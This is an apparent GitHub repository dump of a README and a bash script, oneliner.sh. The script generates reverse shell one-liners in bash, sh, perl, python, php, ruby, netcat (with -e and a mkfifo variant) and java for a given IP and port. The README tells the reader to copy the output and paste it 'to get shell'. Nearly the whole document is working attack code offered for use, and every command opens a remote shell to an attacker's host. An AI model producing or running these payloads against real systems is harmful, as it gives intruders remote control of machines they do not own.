├── README.md └── oneliner.sh /README.md: -------------------------------------------------------------------------------- 1 | # One-Liner-Reverse-Shell-Generator-Script 2 | One Liner Reverse Shell Generator Script 3 | 4 | Generate One Liner Reverse Shell Commands 5 | 6 | 1.bash 2. sh 7 | 3.perl 4.py 8 | 5.php 6.ruby 9 | 7.nc 8.nct (Tradtional without -e) 10 | 9.java 11 | 12 | Run the bash script. Usage and Shell Command Name will be displayed 13 | 14 | ![2017-12-13 12_10_22-kali-linux-2017 2-vm-amd64-nessus-burppro - vmware workstation](https://user-images.githubusercontent.com/2913793/33930699-d2578b32-dffe-11e7-91a4-9e861783d22d.png) 15 | 16 | Usage: oneliner.sh bash 192.168.0.1 4444 17 | 18 | To generate bash shell command with ip 192.168.0.1 and port 4444 19 | 20 | ![2017-12-13 12_11_14-kali-linux-2017 2-vm-amd64-nessus-burppro - vmware workstation](https://user-images.githubusercontent.com/2913793/33930700-d2829110-dffe-11e7-9081-aeb668aa114c.png) 21 | 22 | Copy command and paste to get shell. 23 | 24 | Credits : pentestmonkey.com 25 | -------------------------------------------------------------------------------- /oneliner.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | case $1 in 4 | bash) echo -e "bash -i >& /dev/tcp/"$2"/"$3" 0>&1" 5 | ;; 6 | sh) echo -e "sh -i >& /dev/tcp/"$2"/"$3" 0>&1" 7 | ;; 8 | perl) echo -e "perl -e \x27use Socket;$i=\x22"$2"\x22;$p="$3";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\x22tcp\x22));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\x22>&S\x22);open(STDOUT,\x22>&S\x22);open(STDERR,\x22>&S\x22);exec(\x22/bin/sh -i\x22);};\x27" 9 | ;; 10 | py) echo -e "python -c \x27import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\x22"$2"\x22,"$3"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\x22/bin/sh\x22,\x22-i\x22]);\x27" 11 | ;; 12 | php) echo -e "php -r \x27$sock=fsockopen(\x22"$2"\x22,"$3");exec(\x22/bin/sh -i <&3 >&3 2>&3\x22);\x27" 13 | ;; 14 | ruby) echo -e "ruby -rsocket -e\x27f=TCPSocket.open(\x22"$2"\x22,"$3").to_i;exec sprintf(\x22/bin/sh -i <&%d >&%d 2>&%d\x22,f,f,f)\x27" 15 | ;; 16 | nc) echo -e "nc -e /bin/sh " $2 " "$3 17 | ;; 18 | nct) echo -e "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "$2" "$3 " >/tmp/f" 19 | ;; 20 | java) printf "r = Runtime.getRuntime()\np = r.exec([\x22/bin/bash\x22,\x22-c\x22,\x22exec 5<>/dev/tcp/"$2"/"$3";cat <&5 | while read line; do \$line 2>&5 >&5; done\x22] as String[])\np.waitFor()\n" 21 | ;; 22 | help) printf "\nusage:$ oneliner.sh shellname ip port\n" 23 | printf "ex. $ oneliner.sh bash 192.168.0.1 4444\n" 24 | printf "\nShellnames\n\n1.bash\t2.sh\n3.perl\t4.py\n5.php\t6.ruby\n7.nc\t8.nct \x28traditional with -e\x29\n9.java\n\n" 25 | ;; 26 | *) printf "\nusage:$ oneliner.sh shellname ip port\n" 27 | printf "ex. $ oneliner.sh bash 192.168.0.1 4444\n" 28 | printf "\nShellnames\n\n1.bash\t2.sh\n3.perl\t4.py\n5.php\t6.ruby\n7.nc\t8.nct \x28traditional with -e\x29\n9.java\n\n" 29 | ;; 30 | esac 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | --------------------------------------------------------------------------------